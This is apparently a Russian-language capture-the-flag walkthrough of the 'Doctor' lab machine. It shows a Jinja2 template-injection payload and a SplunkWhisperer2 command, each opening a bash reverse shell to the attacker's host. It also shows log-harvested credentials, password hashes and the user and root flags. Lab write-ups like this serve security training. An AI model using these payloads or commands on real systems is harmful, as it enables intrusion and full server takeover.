Обзор сервисов 

$ nmapAutomator.sh -H 10.10.10.209 -t Full

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

/etc/hosts => doctors.htb

Веб

http://doctors.htb => панель для логина
Регистрируем аккаунт и логинимся.

Отправляем новый пост.

http://doctors.htb/archive => xml файл.

Пробуем template injections.

{{7*7}} в заголовке дает 49 на эндпоинте /archive => Twig
{{7*'7'}} => Jinja2

Отправляем новый пост, заголовок которого будет вот таким:

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.6/1234 0>&1'").read()}}{%endif%}{%endfor%}

Ловим шелл:

nc -lnvp 1234

Переходим по ссылке http://doctors.htb/archive.

База данных 

web@doctor:~/blog/flaskblog$ cat config.py
import os

class Config:
    SECRET_KEY = os.environ.get('SECRET_KEY')
    WTF_CSRF_CHECK_DEFAULT = False
    SQLALCHEMY_DATABASE_URI = os.environ.get('SQLALCHEMY_DATABASE_URI')
    MAIL_SERVER = ''
    MAIL_PORT = 587
    MAIL_USE_TLS = True
    MAIL_USERNAME = "doctor"
    MAIL_PASSWORD = "doctor"

web@doctor:~/blog/flaskblog$ echo $SECRET_KEY
1234
web@doctor:~/blog/flaskblog$ echo $SQLALCHEMY_DATABASE_URI
sqlite://///home/web/blog/flaskblog/site.db
$ strings site.db
[email protected]$2b$12$hUCsNGlzk1Yl5pZhIXNCReSlDPi5QNImJmNR4HpYK/15QkGNBpFlGc
[email protected]$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S

web@doctor:~$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)

adm группа => можем читать логи /var/log

$ grep -R -e 'password' /var/log/
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

Пробуем shaun:Guitar123

$ su - shaun
Guitar123

Флаг пользователя 

shaun@doctor:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:30:2e brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.209/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:302e/64 scope global dynamic mngtmpaddr
       valid_lft 86395sec preferred_lft 14395sec
    inet6 fe80::250:56ff:feb9:302e/64 scope link
       valid_lft forever preferred_lft forever
shaun@doctor:~$ cat user.txt
aee90eaca8f275fb473c14db43b615db

Повышение привилегий

https://10.10.10.209:8089/services => shaun:Guitar123 работает для splunk.

nc -lnvp 1235
git clone https://github.com/cnotin/SplunkWhisperer2
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --lhost 10.10.14.6 --lport 4444 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.6/1235 0>&1'"

Флаг суперпользователя 

root@doctor:/root# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:30:2e brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.209/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:302e/64 scope global dynamic mngtmpaddr
       valid_lft 86070sec preferred_lft 14070sec
    inet6 fe80::250:56ff:feb9:302e/64 scope link
       valid_lft forever preferred_lft forever
root@doctor:/root# cat root.txt
303f10655bc6016a1038656261153936